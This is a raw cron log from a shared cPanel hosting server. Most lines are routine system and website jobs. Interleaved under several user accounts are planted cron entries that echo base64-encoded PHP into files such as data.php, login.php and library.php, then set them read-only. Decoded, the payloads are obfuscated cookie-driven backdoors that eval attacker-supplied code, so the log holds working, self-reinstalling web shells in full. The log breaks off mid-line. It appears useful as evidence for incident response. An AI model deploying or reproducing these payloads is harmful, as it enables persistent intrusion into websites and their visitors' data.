Mar  2 05:44:01 medusa CROND[6960]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:44:01 medusa CROND[6961]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:44:01 medusa CROND[6962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:44:01 medusa CROND[6963]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 05:44:01 medusa CROND[6966]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:44:01 medusa CROND[6967]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:44:01 medusa CROND[6970]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:44:01 medusa CROND[6971]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:44:01 medusa CROND[6985]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:44:01 medusa CROND[6973]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 05:45:01 medusa CROND[30063]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:45:01 medusa CROND[30104]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 05:45:02 medusa CROND[30349]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:45:02 medusa CROND[30350]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 05:45:02 medusa CROND[30351]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 05:45:02 medusa CROND[30352]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 05:45:02 medusa CROND[30354]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:45:02 medusa CROND[30353]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 05:45:02 medusa CROND[30358]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:45:02 medusa CROND[30359]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 05:45:02 medusa CROND[30364]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:45:02 medusa CROND[30362]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 05:45:02 medusa CROND[30366]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:45:02 medusa CROND[30361]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 05:45:02 medusa CROND[30372]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:45:02 medusa CROND[30375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:45:02 medusa CROND[30374]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:45:02 medusa CROND[30371]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 05:45:02 medusa CROND[30378]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 05:45:02 medusa CROND[30383]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:45:02 medusa CROND[30368]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 05:45:02 medusa CROND[30363]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 05:45:02 medusa CROND[30404]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:46:01 medusa CROND[14834]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 05:46:01 medusa CROND[14955]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:46:02 medusa CROND[15012]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 05:46:02 medusa CROND[15014]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 05:46:02 medusa CROND[15015]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:46:02 medusa CROND[15018]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWR